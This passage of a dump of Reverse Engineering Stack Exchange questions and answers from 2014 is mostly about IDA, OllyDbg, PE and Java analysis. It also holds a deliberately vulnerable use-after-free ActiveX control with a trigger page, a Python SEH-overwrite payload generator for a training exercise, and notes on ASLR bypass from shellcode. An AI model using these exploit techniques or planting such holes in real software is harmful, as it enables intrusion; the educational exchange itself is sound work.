\n", "Title": "IDApro subroutine analysis", "Tags": "|ida|dll|functions|c#|", "Answer": "

It's not very reliable. IDA can't determine types beyond analyzing the size and type of loads and stores. For instance IDA doesn't tell the difference between a pointer to a type and an integer, given that they're the same size, as far as I know. Other than that all it can do is propagate type information entered by the user. I believe the Hex-Rays decompiler does a bit more advanced argument analysis but it's also not able to extract correct function signatures in many cases.

\n\n

Argument counts can be guessed from stack pushes and stack accesses on x86 but it's important to remember that there's no requirement that the calling convention use the stack at all. On less register starved architectures, determining argument counts is bit harder due to more efficient calling conventions using registers instead of the stack.

\n\n

If you want to actually call that function it's extremely likely that you'll want to analyze it in more detail than what IDA gives you automatically.

\n" }, { "Id": "4703", "CreationDate": "2014-06-26T05:55:09.483", "Body": "

The conditions: say one patched programm has hardcoded address of printf() from dynamically loaded msvcrt80.dll. It works just fine on XP, but Win7 randomizes address space (ASLR), so this trick become impossible and program crashes with call of my hardcoded printf() address.

\n\n

What should I do to retrieve IAT RVA of this printf() in win7 to make this work?

\n", "Title": "Win7 ASLR bypass", "Tags": "|windows|exploit|", "Answer": "

If you can patch the program's image, you don't actually need to hardcode the address. you can simply add another import entry to the already existing import tables and have it patched in automatically by the loader.

\n\n

See Iczelion's tutorial on import tables to guide you further.

\n\n

Of course, if you're trying to do that from shellcode, you'll need to walk the loader data, locating the DLL image. The Ldr member in PEB should help you with that.

\n\n

If you'd be so kind to provide more details on what exactly you are trying to do, I'll update the answer; there is no simple answer to the \"how to defeat ASLR\" question.

\n" }, { "Id": "4716", "CreationDate": "2014-06-27T04:00:34.400", "Body": "

I'm trying to extact a global variable from an executable. Basically, I'm tryin to reverse an executable that put some python bytecode in a global variable and I'd like to extract it. I found out that the data is in the .data of the PE File, but I can't find a way to get it in all the data segments.\nAny ideas?

\n", "Title": "Extract a global variable", "Tags": "|python|executable|", "Answer": "

Since you say you are trying to reverse an executable which stores some python bytecode in a variable, it means probably the executable embeds python. If the code is likely to be executed at some point of time, you can use a debugger.

\n\n

Set a breakpoint on PyEval_EvalFrameEx .

\n\n

It has a prototype of PyObject* PyEval_EvalFrameEx(PyFrameObject *f, int throwflag)

\n\n

The first parameter PyFrameObject has the following structure.

\n\n
typedef struct _frame {\n    PyObject_VAR_HEAD\n    struct _frame *f_back;  /* previous frame, or NULL */\n    PyCodeObject *f_code;   /* code segment */\n    PyObject *f_builtins;   /* builtin symbol table (PyDictObject) */\n    PyObject *f_globals;    /* global symbol table (PyDictObject) */\n    PyObject *f_locals;     /* local symbol table (any mapping) */\n    PyObject **f_valuestack;    /* points after the last local */\n    PyObject **f_stacktop;\n    PyObject *f_trace;      /* Trace function */\n    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;\n    PyThreadState *f_tstate;\n    int f_lasti;        /* Last instruction if called */\n    int f_lineno;       /* Current line number */\n    int f_iblock;       /* index in f_blockstack */\n    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */\n    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */\n} PyFrameObject;\n
\n\n

The third member of PyFrameObject is PyCodeObject.

\n\n

PyCodeObject has the following structure.

\n\n
typedef struct {\n    PyObject_HEAD\n    int co_argcount;        /* #arguments, except *args */\n    int co_nlocals;     /* #local variables */\n    int co_stacksize;       /* #entries needed for evaluation stack */\n    int co_flags;       /* CO_..., see below */\n    PyObject *co_code;      /* instruction opcodes */\n    PyObject *co_consts;    /* list (constants used) */\n    PyObject *co_names;     /* list of strings (names used) */\n    PyObject *co_varnames;  /* tuple of strings (local variable names) */\n    PyObject *co_freevars;  /* tuple of strings (free variable names) */\n    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */\n    /* The rest doesn't count for hash/cmp */\n    PyObject *co_filename;  /* string (where it was loaded from) */\n    PyObject *co_name;      /* string (name, for reference) */\n    int co_firstlineno;     /* first source line number */\n    PyObject *co_lnotab;    /* string (encoding addr<->lineno mapping) */\n    void *co_zombieframe;     /* for optimization only (see frameobject.c) */\n} PyCodeObject;\n
\n\n

The sixth member of the above structure is co_code . It is basically a PyStringObject. \nIt has the following structure.

\n\n
typedef struct {\n    PyObject_VAR_HEAD\n    long ob_shash;\n    int ob_sstate;\n    char ob_sval[1];\n} PyStringObject;\n
\n\n

The ob_sval contains the bytecode you are after.\nSo once you hit PyEval_EvalFrameEx follow the structures in memory to get the bytecode.

\n\n

Another thing to note is you need to know the layout of PyObject_VAR_HEAD and PyObject_HEAD to get the actual offsets. Refer to the python source for more information.

\n" }, { "Id": "4720", "CreationDate": "2014-06-27T07:36:50.223", "Body": "

The calling convention used in assembly differs depending to the compiler, so I need to know \nHow ollydbg2.01 would help me to recognize the parameters passed from caller to the callee and the values returned back from the callee to the caller for a CALL instruction.\nThe assembly which I am working on is compiled by Microsoft visual C++.

\n", "Title": "Would OllyDbg help recognizing the passed parameters between the caller and the calle?", "Tags": "|ollydbg|", "Answer": "

Ollydbg already shows the parameters passed to a functions in the CPU window. This of course works for standard functions such as printf , CreateFileA which Ollydbg knows about. For example see the image below. The parameters to CreateWindowExA are shown.

\n\n

\"enter

\n\n

Now the return value of a function is usually kept in register eax in x86. So just note the value after the function returns. Of course in case of a hand-coded assembly the return value may be anywhere.

\n" }, { "Id": "4724", "CreationDate": "2014-06-27T13:42:34.377", "Body": "

I just started using IDA and OllyDbg, although I am experienced developer but before this I was reverse engineering only Java and .Net code which is much more easy task comparing of what I need to do now.

\n\n

I have an application which has some buttons that are not accessible by Spy++ and WinInspector and all other tools that I tried. Spy++ sees only the selectorclass which is the whole panel where buttons are placed. I've managed to find where the WndProc of this selector is and even the method wich takes hwnd of SelectorControl from GetPropA method, but I have trouble identifying the click itself, so i don't know where the actual button is clicked and where there the app knows what exact button is clicked and what handler to use.

\n\n

I would like to ask for some tips which are maybe useful to know but are not known by newbies like me. What are strategies that can be used here?

\n\n

Maybe there are some ways to identify what framework was used, so I can play with that framework to know what to look for.

\n", "Title": "Custom UI buttons", "Tags": "|ida|ollydbg|c++|", "Answer": "

If the surrounding window seems to be a genuine window, but the individual buttons are not, I'd assume that

\n\n\n\n

So, what we want to do is, start the program in a debugger, and use a breakpoint that is triggered when the mouse click occurs. The problem is, the window procedure gets called a lot of times, with all kind of messages, while you want to break on some of them (for example, WM_LBUTTONDOWN), but not on most of the others (for example, WM_PAINT).

\n\n\n\n

After placing a suitable breakpoint, run your application in the debugger, click the mouse, and hope the debugger actually hits the breakpoint. If it doesn't, check which mistake you've made.

\n\n

Single-Step your code. It will probably fetch parameter 4 from the stack, which encodes the X and Y coordinates of the mouse, and compare these parameters to something - chances are, there's an array of structures that defines rectangles and jump addresses, and a loop that checks against each entry.

\n\n

Once you've found that, you're finished.

\n\n

Sounds too easy? It probably is, because, depending on your framework, the actual comparisons might be buried deeply in stuff that was a bunch of C++ classes in the original source, and there might be various calls, some of them indirect (in the case of C++ class methods) until you get to the \"interesting\" position.

\n\n\n" }, { "Id": "4734", "CreationDate": "2014-06-28T22:52:22.873", "Body": "

I am trying to understand assembly and buffer overflows on a 64bit Intel i7 machine. I am having a lot of questions. I asked on SO but I don't have any satisfactory answers. I also don't get why there are MOV instructions to EEDI, ESI and EDI instead of PUSH instructions. Perhaps I should understand assembly on modern architectures first. Can anyone answer my qustions and point me to right learning resources for modern architectures? (I am asking here because people doing REing do have knowledge about assembly and are more targeted audience as compared to the broader audience on SO)

\n", "Title": "Any guides on modern assembly?", "Tags": "|assembly|", "Answer": "\n" }, { "Id": "4738", "CreationDate": "2014-06-30T09:21:37.473", "Body": "

My original point was to build something a bit more powerful and generic than a PTRACE system call for Linux platforms. The problem with PTRACE is that it only run on your own system and architecture.

\n\n

An idea would be to run a virtual machine (or, better, an emulator) with a different operating system and a (possibly) different architecture on it.

\n\n

While looking for the ideal candidates, I found the QEmu monitor interface and several projects using QEmu as OS/architecture emulator to collect traces:

\n\n\n\n

The features I want are similar to the PTRACE interface (freeze execution, step by step runs, memory and registers read and write, ...) all with several OSes and several architectures.

\n\n

My questions:

\n\n\n", "Title": "Using QEmu monitor interface to extract execution traces from a binary?", "Tags": "|dynamic-analysis|qemu|", "Answer": "

Past TEMU user here. Perhaps you should attempt to understand TEMU more (which I don't), to prevent duplicating the work already done. PTRACE only records syscall transitions, but if you go under QEMU, a better granularity is basic blocks. Not sure if TEMU has the capacity to do that, the idea is the each basic block can uniquely identify part of the path taken, without going into lower level of details at the registers/values level. ie, less noise, but more refined than syscall. Knowing the the full state of the registers at each entry and exit point of the basic block, can almost deterministically decide what is the path the entire execution trace will look like, minus all the intermediate registers values, which can be derived if need to. (\"almost\", because asynchronous event like interrupt can happened).

\n\n

Update:

\n\n

There is another option: QEmu + Lttng, but since default Qemu does not provide that feature, you have to download the QEMU source code, and compile it to enable lttn-ust tracing.

\n\n

http://linuxmogeb.blogspot.sg/2014/08/how-to-trace-qemu-using-lttng-ust.html

\n" }, { "Id": "4744", "CreationDate": "2014-07-01T03:07:00.030", "Body": "

How \"legal\" is it to read and edit .exe files, .dll files, and other compiled source files? Decompilation is taking the compiled code of a program, often minified and obfuscated, and trying to get the original source code back as it was written, or at least get it in a form a person could read. There are various reasons a person or company would make its code harder to read while compiling it, but the 2 I've seen most often have to do with saving resources, like space, RAM, power, etc., and making it so the code is harder to read so the user can not see what it does as easily. As we are a community about questioning the practices of reverse engineering, I think it's safe to say most of us don't like the second reason. I am asking for facts here, though, not opinions.

\n\n

Because this question could get very broad, I will limit this to laws in particular countries and rules of various influential or popular companies, but info about generalities is also welcome. I am definitely not asking about morals/ethics, although I know those will certainly come up.

\n\n

There was already a question about the legality of reverse engineering in general, but I'm talking only about decompilation here. As the answers to this question stated, decompilation is one type of reverse engineering. As far as I could tell, the other question didn't get answers about decompilation specifically, though you are free to provide these yourself. One answer did say the question was too broad, but perhaps this question will have a better scope.

\n", "Title": "Legality of Decompilation", "Tags": "|decompilation|law|", "Answer": "

In Australia, you need to have a valid license for the software and be reversing for \"compatibility\" purposes. Which is pretty wide and includes investigating a security issue. Obviously if the code is available from the vendor, you need to get hold of that source code instead of reversing.

\n" }, { "Id": "4748", "CreationDate": "2014-07-01T08:39:53.470", "Body": "

Use After Free bugs a getting more severe these days.

\n\n

I'm planning to demonstrate Use After Free bug exploitation using VTable overwrite. So, I'm trying to create a ATL ActiveX Control which is vulnerable to Use After Free bug using Internet Explorer 9 or 10.

\n\n

I'm having trouble to come up with a Use After Free vulnerable code that works. Does anyone has experience with this kind of bug and can anyone try to help me.

\n\n

I'm trying too. If I'm able to get it working, I'll share it here:

\n\n
class User\n{\n  public:\n    virtual void SetUsername() { }\n};\n\nclass NewUser:public User\n{\n  char username[20];\n  public:\n    virtual void SetUserName(char* strUsername) { strcpy(username, strUsername); }\n    virtual char* GetUserName() { return username; }\n};\n\nSTDMETHODIMP CATLActivexControl::CreateUser(BSTR sUserName, DOUBLE* retVal)\n{\n  USES_CONVERSION;\n  char *tmp = W2A(sUserName);\n  NewUser *nuser = new NewUser;\n  nuser->SetUserName(tmp);\n\n  free(nuser);\n\n  char *xyz = nuser->GetUserNameW();\n  return S_OK;\n}\n
\n\n

I worked on the above example and I have come up with a nicer solution which really triggers Use After Free.

\n\n

C++ code

\n\n
#include \"stdafx.h\"\n#include \"ATLStudentActiveXControl.h\"\n\n// Virtual Function defination\nclass User\n{\npublic:\n    virtual void Add(char* uName) = 0;\n    virtual char* GetName() = 0;\n};\n\nclass Student : public User\n{\nprivate:\n    char s_name[30];\n\npublic:\n    virtual void Add(char* uName) { strncpy(s_name, uName, sizeof(s_name)); }\n    virtual char* GetName() { return s_name; }\n\n};\n\nStudent *pStudent = new Student;\n\nSTDMETHODIMP CATLStudentActiveXControl::Add(BSTR sName)\n{\n    USES_CONVERSION;\n    char *tStudent = W2A(sName);\n    pStudent->Add(tStudent);\n    return S_OK;\n}\n\nSTDMETHODIMP CATLStudentActiveXControl::Delete()\n{\n    free(pStudent);\n    return S_OK;\n}\n\nSTDMETHODIMP CATLStudentActiveXControl::GetName(BSTR* sName)\n{\n    char *tStudent = pStudent->GetName();\n    *sName = A2WBSTR(tStudent);\n    return S_OK;\n}\n
\n\n

HTML Code

\n\n
<HTML>\n<HEAD>\n<TITLE>Use After Free - Test Page</TITLE>\n<script language=\"javascript\" type=\"text/javascript\">\n    function UAF() {\n        alert('Start');\n\n        // Assign _studentActiveX variable to ATLStudentActiveXControl\n        var _studentActiveX = document.getElementById(\"ATLStudentActiveXControl\");\n\n        // Add a student\n        _studentActiveX.Add(\"StudentName\");\n\n        // Uncomment the below line to trigger Use After Free vulnerability\n        // _studentActiveX.Delete();\n\n        // Get the name of the added student\n        var _studentName = _studentActiveX.GetName();\n        alert(_studentName);\n\n        // Delete the student\n        _studentActiveX.Delete()\n\n        alert('Done');\n    }\n</script>\n</HEAD>\n<BODY>\n<OBJECT ID=\"ATLStudentActiveXControl\" CLASSID=\"CLSID:9EACDFCF-1A2E-462E-9DF6-53E03936DB22\"></OBJECT>\n<div>\n    <p>Demonstrating <b>Use After Free</b> vulnerability.</p>\n    <input type=\"button\" onclick=\"UAF();\" value=\"Use After Free\" />\n</div>\n</BODY>\n</HTML>\n
\n\n

Please share your views. Thanks.

\n", "Title": "Use After Free - Example", "Tags": "|debugging|exploit|vulnerability-analysis|", "Answer": "

The first thing that comes to my mind is for you to create a class with a few virtual methods, which will be used as the test subject. Then from your ActiveX control you'd expose methods that manipulate the variable, say:

\n\n\n\n

Then whip up a basic script exercising the given methods: allocate, call the methods to make sure it works as designed, free the instance, allocate something else, call virtual methods again and crash the IE instance. ;-) Should do the trick.

\n" }, { "Id": "4750", "CreationDate": "2014-07-01T16:52:52.690", "Body": "

The ordinary, manual way of redefining a struct member to become a function pointer would be to press on it, hit 'Y', and enter the proper declaration in the popup box. For example, for struct member fncQuery, I would change the string to: BOOL (__cdecl *fncQuery)(char *cmdID)

\n\n

This would be helpful; When I next identify a call to this function pointer, I would mark the appropriate call [reg+offset] line as this function pointer, and IDA will re-analyze and comment the parameters for me.

\n\n

I have a thousand struct each with at least one such function pointer member, and corresponding lists of the descriptions of these functions' parameters and return values. Understandably, I want to match them up by an IDAPython script rather than by hand. However, I can't find an equivalent for the 'Y' button for scripts:

\n\n\n\n

In my search I've found someone who conjured up dark magic, incorporating low level idaapi into his IDAPython script, to detect if a struct member has the same name as a known function, and if it does, \"gets\" the type of that function and \"sets\" it onto the member. Specifically, such horrible calls are seen (taken out of context of its definitions, you'll have to trust me when I say this runs properly and the first function call fills up its many outparameters with meaningful values):

\n\n
get_named_type = g_dll.get_named_type\nget_named_type.argtypes = [\n  ctypes.c_void_p, #const til_t *ti,\n  ctypes.c_char_p, #const char *name,\n  ctypes.c_int, #int ntf_flags,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const type_t **type=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fields=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const char **cmt=NULL,\n  ctypes.POINTER(ctypes.POINTER(ctypes.c_ubyte)), #const p_list **fieldcmts=NULL,\n  ctypes.POINTER(ctypes.c_ulong), #sclass_t *sclass=NULL,\n  ctypes.POINTER(ctypes.c_ulong), #uint32 *value=NULL);\n]\n\nget_named_type(\n            til,\n            funcname,\n            idaapi.NTF_SYMM,\n            ctypes.byref(typ_type),\n            ctypes.byref(typ_fields),\n            ctypes.byref(typ_cmt),\n            ctypes.byref(typ_fieldcmts),\n            ctypes.byref(typ_sclass),\n            ctypes.byref(value)\ntype_arr = ctypes.create_string_buffer(0x400)\n            type_arr[0] = chr(idaapi.BT_PTR)\n            manualTypeCopy(type_arr, 1, len(type_arr), typ_type)\n            ret = g_dll.set_member_tinfo(\n                til,\n                struc,\n                memb,\n                ctypes.c_uint(0),\n                type_arr,\n                typ_fields,\n                ctypes.c_uint(0),\n            )\n
\n\n

The work behind the scenes on \"get_named_type\" eludes me, and looking into its source (and fashioning something from it for my use) may be strong headed and premature.

\n\n

Do you know of an easier way my need can be fulfilled ? I just need to define structure members as function pointers from an IDAPython script. Please help !

\n", "Title": "Setting an IDA function pointer in a struct via script", "Tags": "|ida|idapython|struct|", "Answer": "

The Y key equivalent is indeed the SetType (or, rather, ApplyType) function, and it normally accepts addresses. However, you actually can pass the structure member ID as the \"address\" to set the member's type info.

\n" }, { "Id": "4751", "CreationDate": "2014-07-01T18:57:58.567", "Body": "

Basically I am trying to re-use some asm code disassembled from a binary on x86 32bit Linux.

\n\n

I am facing some trouble when references of GOT/GOT.PLT involved like these.

\n\n
  ....\n  804c460:       53                      push   %ebx\n  804c461:       e8 ec ff ff ff          call   804c452 <__i686.get_pc_thunk.bx>\n  804c466:       81 c3 8e 2b 00 00       add    $0x2b8e,%ebx   // %ebx has the beginning address of GOT table\n  804c46c:       83 ec 18                sub    $0x18,%esp\n  ....\n
\n\n

If I want to re-use these asm code, I have to lift concrete address into symbols, and it seems that in the above code, I have to find a way to let ebx store the begin address of GOT table.

\n\n

Well... then do I have to modify the linker...? Because the begin address of GOT table can't be decided until link time..

\n\n

So my questions are:

\n\n
    \n

  1. Is modifying linker a right way to do this ..? Is there any other way?

    2. \n

  2. How to modify the linker in this issue..? I basically have no experiences before..

    3. \n
\n", "Title": "How to re-use some asm code when GOT/GOT.PLT references involved?", "Tags": "|disassembly|assembly|reassembly|dynamic-linking|", "Answer": "

If you're using GAS or a compatible assembler, you can use special modifiers to have it emit relocation info for GOT-based addressing.

\n\n

Here's the gcc -S output of a typical prolog of a function compiled with -fPIC:

\n\n
call    __i686.get_pc_thunk.bx\naddl    $_GLOBAL_OFFSET_TABLE_, %ebx\nleal    .LC0@GOTOFF(%ebx), %eax\nmovl    %eax, (%esp)\ncall    puts@PLT\n
\n\n

As you can see, you can replace the %ebx addendum with $_GLOBAL_OFFSET_TABLE_, and other GOT-relative offsets with symbol@GOTOFF. In some cases you may also need @GOTPLT or @GOTPCREL modifiers. See here for more info (mostly x64-specific, but still useful).

\n\n

If your file is relocatable or a shared object, disassembling it with -dr (so you see relocation info) can be useful to see places where you may need to add back the symbol modifiers.

\n" }, { "Id": "4752", "CreationDate": "2014-07-02T05:56:23.083", "Body": "

Now working on binary analysis of PE and stuck on tricky (for me), ungoogleable question.

\n\n

For instance, I've binary, that needs to be patched. So after doing that will be awesome, if there is way to insert address of my function to relocation table. The following picture can illustrate thing I'm talking about.

\n\n

\"Relocated

\n\n

So, as you can see, relocated functions marked pale, and my function is not in the relocation table. What should I patch to add my function into relocation table? Tried CFF Explorer with no luck. All the patches was made in hiew.

\n", "Title": "Relocation table patching", "Tags": "|assembly|", "Answer": "

Issue solved. For that moment tested several utilities for relocation patching.

\n\n

RelocEditor - didn't solve the issue, but maybe for some future researchers who will face with similar task will find it useful

\n\n

Reloc Rebuilder - actually solved issue. Just select patched executable and app should fix the relocation table.

\n\n

Relocation Section Editor - didn't tried myself, but should also work. Link here because of purposes as in first item.

\n" }, { "Id": "4757", "CreationDate": "2014-07-02T11:42:49.730", "Body": "

When I try to load a Portable Executable in IDA Pro 6.6 it can't resolve the Symbols. I have hooked it to a win32_remote.exe. It keeps saying E_PDB_NOT_FOUND.

\n\n

I even have WinDBG installed.

\n", "Title": "IDA fails to load Symbols from EXE on Linux", "Tags": "|ida|symbols|", "Answer": "

A common issue is missing symsrv.dll. Please make sure you have it on the remote machine and that win32_remote.exe can find it.

\n\n

You can also append -z10000 to the command line in order to get more output from the MS-DIA libraries.

\n\n

Thanks to HexRays for this answer.

\n" }, { "Id": "4770", "CreationDate": "2014-07-02T23:13:55.980", "Body": "

I'm using the following IDC function to copy the RAM Data and Code sections from the packed binary, into the correct runtime locations for my Fujitsu FR system:

\n\n
static idc_memcpy(source, dest, count, desc)\n{\n    auto i, val;\n\n    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));\n    Message(\"Copy %a: Start\\n\", dest);\n\n    for(i = 0; i < count; i = i + 2 )\n    {\n        val = Word(source + i);\n        PatchWord(dest + i, val);\n    }\n\n    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&GetCharPrm(INF_GENFLAGS));\n\n    MakeUnknown(source,count,DOUNK_EXPAND+DOUNK_DELNAMES);\n\n    HideArea(source, source+count-1, desc, \"\", \"\", -1);\n    SetHiddenArea(source, 1 );\n    Message(\"Copy %a: End\\n\", dest);\n\n}\n
\n\n

But when I go to the source address I see:

\n\n
ROM:00447E8C ; [0000C878 BYTES: BEGIN OF AREA RAM Data2 Source. PRESS KEYPAD \"-\" TO COLLAPSE]\nROM:00447E8C unk_447E8C:     .byte 0xFF              ; DATA XREF: Tsk32+176o\nROM:00447E8D                 .byte 0xFF\nROM:00447E8E                 .byte 0xFF\nROM:00447E8F                 .byte 0xFF\nROM:00447E90                 .byte    0\nROM:00447E91                 .byte 0x30 ; 0\nROM:00447E92                 .byte    0\nROM:00447E93                 .byte    0\n
\n\n

I was hoping/expecting to have that area hidden, what am I doing wrong. If I press keypad - I get the error message:

\n\n
\n

IDA failed to display the program in graph mode.\n Only instructions belonging to functions can be displayed in graph mode.

\n
\n", "Title": "Hide data areas in IDA IDC", "Tags": "|ida|", "Answer": "

Solved it after trying many things.

\n\n

I had to change the data area to a byte array with

\n\n
    MakeByte(source);\n    MakeArray(source, byte_count);\n
\n\n

after the MakeUnknown, and then call SetHidden with value 0

\n\n

Also to the Hiding the Area with keyboard, the new default keys are Ctrl+-, the displayed text in IDA is wrong.

\n\n

thus final code was:

\n\n
static idc_memcpy(source, dest, byte_count, desc)\n{\n    auto i, val;\n\n    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));\n    Message(\"Copy %a: Start\\n\", dest);\n\n    for(i = 0; i < byte_count; i = i + 2 )\n    {\n        val = Word(source + i);\n        PatchWord(dest + i, val);\n    }\n\n    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&GetCharPrm(INF_GENFLAGS));\n\n    MakeUnknown(source,byte_count,DOUNK_EXPAND+DOUNK_DELNAMES);\n    MakeByte(source);\n    MakeArray(source, byte_count);\n\n    HideArea(source, source+byte_count, desc, \"\", \"\", -1);\n    SetHiddenArea(source, 0 );\n    Message(\"Copy %a: End\\n\", dest);\n}\n
\n" }, { "Id": "4773", "CreationDate": "2014-06-30T18:38:00.013", "Body": "

I am trying to exploit this little program I found on opensecuritytraining.info.\nBut, somehow, I am stuck at this point. What I did was to create a file which gets read from the program. Here is the code I am using for this:

\n\n
#!/usr/bin/env python\n\nimport struct\n\nmystring = b\"\\xCC\"*1096# junk\nnSEH = b\"\\xeb\\x06\\x90\\x90\"\nSEH  = struct.pack(\"<L\", 0x004011B6)\nopcode = \"\\xe9\\xdf\\xf6\\xff\\xff\"\n\nmystring += nSEH + SEH + (\"\\x90\"*16) + opcode\nfileName='C:\\hellothere.bin'\n\nwith open(fileName, 'wb') as fb:\n    fb.write(bytearray(mystring))\nfb.close()\n
\n\n

So, I am stuck at this point where I am overriding the buffer with \\xCC, But my question is, when I am placing another jump code where the CC's override the saved EIP register. Can I jump further backwards to where my shell code takes place ?

\n\n

I mean in principle this should be possible for some tweaking or adjusting of the exploit code itself.

\n\n

Any idea ?

\n\n

\"exercise\"

\n", "Title": "How should I reach my shellcode?", "Tags": "|windows|x86|buffer-overflow|", "Answer": "

As far as the screenshot depicts, I can say that you are on the right track. You have correctly, overwritten the Pointer to NextSEH and SE Handler.

\n\n

Some explanation:

\n\n

Exception Registration Record Structure

\n\n
typedef struct _EXCEPTION_REGISTRATION_RECORD\n{\n   struct _EXCEPTION_REGISTRATION_RECORD *Next;\n   PEXCEPTION_ROUTINE                     Handler;\n} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;\n
\n\n

Whenever a new function is called which has exception handling mechanism, the EXCEPTION_REGISTRATION_RECORD is added to the stack. Where *Next is the pointer to the Previous EXCEPTION_REGISTRATION_RECORD and Handler is the function pointer to the Exception handler.

\n\n

The FS:0 register always points to the first EXCEPTION_REGISTRATION_RECORD. Once the EXCEPTION_REGISTRATION_RECORD is pushed on the stack, the FS:0 register will be set to point to the new EXCEPTION_REGISTRATION_RECORD and Next record will be set to point to the previous value of FS:0 register. This will maintain the link list of the SEH chains.

\n\n

ExceptionHandler Structure

\n\n
typedef EXCEPTION_DISPOSITION (*ExceptionHandler) (\n    IN PEXCEPTION_RECORD ExceptionRecord,\n    IN ULONG64 EstablisherFrame,\n    IN OUT PCONTEXT ContextRecord,\n    IN OUT PDISPATCHER_CONTEXT DispatcherContext\n);\n
\n\n

When an exception occurs, System Exception Dispatcher routine kicks in and it's sets up it's own stack frame. The structure of the ExceptionHandler is pushed to the stack.

\n\n

In SEH overwrite scenario, an attacker is lucky because, System Exception Dispatcher routine places the EstablisherFrame value on the stack at [ESP+8] before this ExceptionHandler function is called.

\n\n

EstablisherFrame is the pointer to the NextSEH record. An attacker is able to control it by overwriting NextSEH record with arbitrary memory address.

\n\n

Note: Attacker has not overwritten the EstablisherFrame. However, the attacker has overwritten NextSEH pointer which was there on the stack.

\n\n

Once, you pass the exception System Exception Dispatcher passes the control to the SE handler and the exception handling code is executed.

\n\n

Exploitation Tactics:

\n\n
    \n
  1. Attacker will overwrite the NextSEH with Backward Jump and the SE Handler with the address of POP/POP/RET sequence.
    2. \n
  2. Once the exception occurs, the address of NextSEH will be placed on the stack at [ESP+8] due to exception dispatch routine prologue.
    3. \n
  3. Once the exception is passed, the exception dispatcher routine will pass the control to SE Handler.
    4. \n
  4. SE Handler will execute the POP/POP/RET sequence and will POP the address of NextSEH in EIP. Hence, gaining code execution.
    5. \n
\n\n

Please accept my apologies if there are mistakes in the answer, and please help to improve the answer so that it's useful to the community members.

\n\n

Thanks.

\n" }, { "Id": "4783", "CreationDate": "2014-07-04T12:31:23.680", "Body": "

I modified the byte-code of a third party Java desktop application's .class file (and repacked the .jar), only to see that during runtime, my change made no difference, unless my change caused a crash somehow. The most simple experiment I did was to use a hex editor and simply replace a letter in a text string in the .class file. Runtime (of course, after restarting the Java application), the text was still the original text.

\n\n

Here's an example of the original byte-code:

\n\n
ldc \"Some text.\"\n
\n\n

Using a hex editor, I changed the string, and looked again in the byte-code editor:

\n\n
ldc \"Xome text.\"\n
\n\n

The decompiled code also shows the modified string. There are no more references to the original string in the .class file. Despite this change, the displayed text at runtime is \"Some text.\" rather than \"Xome text.\".

\n\n

Is there anything I need to take into consideration, e.g. some sort of cache (outside the scope of the application) that must be cleared? I tried to delete the \"Temporary Internet Files\" in the Java console, to no avail.

\n\n

Thank you for any assistance you can provide! :)

\n\n

Removed: The decompiled code and modified files for the real-world application I was experimenting on, due to their questionable nature (didn't really help anyone anyway).

\n", "Title": "Modified Java byte-code, no difference runtime", "Tags": "|java|byte-code|", "Answer": "

Firstly, I would mention that instead of using a general purpose hex editor, a dedicated class editor would be much better. There are plenty of them.

\n\n

You tried editing the class file and to your surprise the changes you made were not reflected. At that point you should be pretty much sure that there must be some other tricks such as generating the strings dynamically, encryption, obfuscation etc.The class files could also be loaded from some other locations such as a cache which you do not expect.

\n\n

One way to get information about which classes are loaded is to use the following command line switch while starting java.

\n\n
java -verbose:class -jar <Your jar file>\n
\n\n

This way the jvm will notify you when classes are loaded and from which locations. Using this you can know if there is some sort of hidden cache from which it loads class files.

\n\n

After this option fails, i.e. when you are sure that there is no such hidden cache, you can almost be sure that there is encryption involved or the strings are generated \ndynamically. Decompiling would help, but of course if there is no obfuscation to hinder decompiling. If everything else fails, you may try inspecting the bytecode of the classfiles as a last resort.

\n" }, { "Id": "4789", "CreationDate": "2014-07-05T12:08:17.227", "Body": "

Executable files created through managed framework like .Net have .exe extension whereas application created through languages like C++ also has .exe extension. How does the OS knows whether to run the application through managed framework like .Net or directly ?

\n", "Title": "How does the OS distinguish between executable types", "Tags": "|windows|executable|", "Answer": "

The COM Descriptor Data Directory (DD 14) is used to lookup the COR20 structure. This is how you can tell the difference between a managed executable and a native executable.

\n\n

See this question for more information. Also see this introduction to the dotnet file format for an overview.

\n" }, { "Id": "4812", "CreationDate": "2014-07-09T01:59:44.823", "Body": "

I want to set a breakpoint and suddenly the following message appears:

\n
\n

You want to place breakpoint outside the code section. INT3 breakpoint set on data will not execute and may have disastrous influence on the debugged program. Do you really want to set breakpoint here?

\n

Note: you can permanently disable this warning in Options|Security.

\n
\n

Without knowing what that is, I would guess that is not allowed to set the breakpoint.\nSo my question would be:

\n

How can I bypass the annoying message? Or better: what must I do to not see this?

\n", "Title": "Suspicious breakpoint message in ollydbg", "Tags": "|ollydbg|", "Answer": "

PE files have several sections like .code , .data, .bss etc. Each of the sections have a special purpose, such as the .code section usually contains the programs code i.e. the instructions, the .data sections houses the initialized variables etc.

\n\n

The above rule is merely a convention followed by compilers. In a packed/obfuscated program, the convention may not always hold true. You can have instructions in data segment and vice-versa. This is done for various reasons like thwarting analysis ,disassembly etc.

\n\n

When in Ollydbg you try to set a INT3 breakpoint on an instruction that happens to be in a section marked for data, Ollydbg would complain and that is the message you see.

\n\n

The reason for this is suppose that the instruction you set a breakpoint on is actually data. In this case, when the program reads in the value at the address it would read 0xCC (INT3 -> 0xCC) instead of the actual value. That can crash the program. Further since this is a read operation, the breakpoint will never be hit.

\n\n

If you want, you may disable the message in Ollydbg options, however doing that is not always recommended. Instead if you are sure that it is an instruction, you may ignore the warning and set the breakpoint.

\n\n

The other way is instead of using a INT3 breakpoint, set a Hardware breakpoint (HWBP) on execution at the aforesaid address. This way the program would not crash, even if the hwbp was set on data. HWBP's are enforced my the CPU and does not modify the program in any way unlike INT3 breakpoints

\n" }, { "Id": "4817", "CreationDate": "2014-07-09T09:04:04.573", "Body": "

